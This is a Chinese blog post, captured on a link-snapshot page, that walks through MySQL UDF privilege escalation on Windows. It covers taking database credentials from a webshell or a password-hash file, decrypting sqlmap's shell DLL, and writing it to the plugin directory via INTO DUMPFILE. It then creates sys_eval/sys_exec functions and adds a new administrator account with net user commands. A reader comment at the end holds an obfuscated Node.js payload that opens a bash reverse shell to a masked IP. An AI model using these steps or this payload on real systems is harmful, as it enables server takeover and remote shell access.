添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

我解释一下dll文件:

dll文件,又指库文件、动态链接库文件,与之相对的是静态库。我们知道,在编写程序经常需要导入其它库文件以使用内置接口或函数,这些接口或函数如果以静态库的方式引入,那么就先把所有需要用到的程序(包括内置接口和函数)链接在一起,再装载到内存运行。

如果是以动态链接库文件(dll)的方式引入,则是先执行主程序,当用到其它程序时,动态加载到内存并执行它。

dll文件具有一些有趣的特点,如果了解操作系统是如何装载与运行程序的,应该很容易理解。

MySQL提权的原理就是通过加载能调用shell接口的dll文件,来实现权限的提升。

因此提权需要的条件:

(1)拥有把dll文件写入到MySQL的插件目录的权限。

(2)在MySQL中能创建和删除自定义函数。

获取数据库账户

不过在此得先能掌握一个数据库账户,假设攻击者拿到Webshell,那么他可以查看网站的配置文件(例如config.php),里面含有连接数据库的用户名和密码。

另一种方法是从…\MySQL\data\mysql\user.MYD文件中获取账户的口令密文。

winhex打开user.MYD文件:

在这里插入图片描述
提取其中能拼接成40位长的两段字符串,这两段字符串拼接成的40位字符串就是口令的密文,密文解密后就是明文口令。

在5.x>=MySQL>=4.1中,口令默认使用的加密方式是mysql native password,,暂时并不清楚是什么加密算法。

不同版本的MySQL对dll文件的存储位置有不同的要求:

(1)如果mysql版本>=5.1,dll文件放置在mysql安装目录的lib\plugin文件夹下。

(2)如果mysql版本<5.1, dll文件放置于c:\windows\system32目录或c:\windows目录下。

确定plugin目录位置:

如果用Webshell的权限可以直接将dll文件上传到对应的插件目录(要有对应目录的读写权限),这种情况最好,但一般Webshell的权限比较低,所以考虑可以用数据库的root账户把dll文件写入到plugin目录。当然,这也要求root要有对应目录的读写权限。

查看"secure_file_priv"文件系统权限:

系统变量secure_file_priv的可能值:

(1)NULL:无法导入或导出文件。

(2)(空):可以导入或导出文件。

(3)有具体的目录:只能从这个目录导入或把文件导出到这个目录。

选择dll文件

dll文件本质也是一段程序,程序由指令和数据构成,不同的计算机体系结构,指令系统也不一样,因此dll文件有32位和64位的,有Windows系统和Linux系统的。

查看MySQL自己适合的系统结构(这不是操作系统的体系结构,而是MySQL适合运行在什么操作系统):

Sqlmap提供了调用shell接口的dll文件,我们可以拿来用。

不过这个dll文件被加密,需要用sqlmap提供的cloak工具解密一次:
在这里插入图片描述

“-d"表示解密,”-i"表示输入的文件。在输入文件的目录下生成了原生的dll文件。

写入dll文件

Webshell能直接把lib_mysqludf_sys.dll上传到plugin目录最好,如果不行,再考虑数据库root账户能否对plugin目录有文件导入导出权限,如果这也没有,那么没有办法udf提权。

root写入dll文件:

(1)先dll文件的二进制数据直接写入到plugin目录下:

select 0x4D5A90....... into dumpfile '(plugin目录/xx.dll)';

在这里插入图片描述
(2)dll文件的二进制数据比较多,复制粘贴到shell时可能卡死,当然可以先create新表,然后把部分数据insert语句到一个字段中,最后再用update语句配合concat()函数把剩下的数据拼接到字段里面的数据后面。

创建函数(加载dll文件)

上传的用于提权的dll文件提供了两个函数:sys_eval和sys_exec,区别在于sys_eval有返回值,sys_exec没有返回值。

// MySQL创建函数的语句
CREATE FUNCTION 函数名 returns 返回值类型 [soname 'dll文件名'];
// 创建调用shell的函数
create function sys_eval returns string soname 'udf.dll';
create function sys_exec returns string soname 'udf.dll';

在这里插入图片描述
执行函数:
在这里插入图片描述
创建用户并添加到管理员组(提权):

// Windwos的cmd命令:
net user 用户名 [密码] /add
net localgroup administrators 用户名 /add

删除函数:

// MySQL语句
drop function 函数名;
drop function sys_eval;
drop function sys_exec;
                    UDF和dll文件UDF全称User Defined Function,即用户自定义函数,在MySQL中以加载外部插件(dll文件)的方式来创建函数。我解释一下dll文件:dll文件,又指库文件、动态链接库文件,与之相对的是静态库。我们知道,在编写程序经常需要导入其它库文件以使用内置接口或函数,这些接口或函数如果以静态库的方式引入,那么就先把所有需要用到的程序(包括内置接口和函数)链接在一起,再装载到内存运行。如果是以动态链接库文件(dll)的方式引入,则是先执行主程序,当用到其它程序时,动态加载
一、前期准备
1.Mysql udf简介
MySQL udf(user definedfunction,用户定义函数),为用户提供了一种高效创建函数的方式。udf函数按其运行模式可以分为单次调用型和聚集函数型两类,单次调用型函数能够针对数据库查询的每一行记录进行处理,聚集函数型用于处理Group By等聚集查询。
2.udf提权原理
udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能
                    QMDD: 
                    如果过滤了符号可以用with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,X,46,X,X,X,46,X,X,46,X,X,X,47,X,X,X,X,32,48,62,38,b,34))
                kali 2021安装w3af
                    friEnd`: 
                    不是,还是在外面
                kali 2021安装w3af
                    weixin_43033342: 
                    (3)运行脚本 是在docker里面运行吗?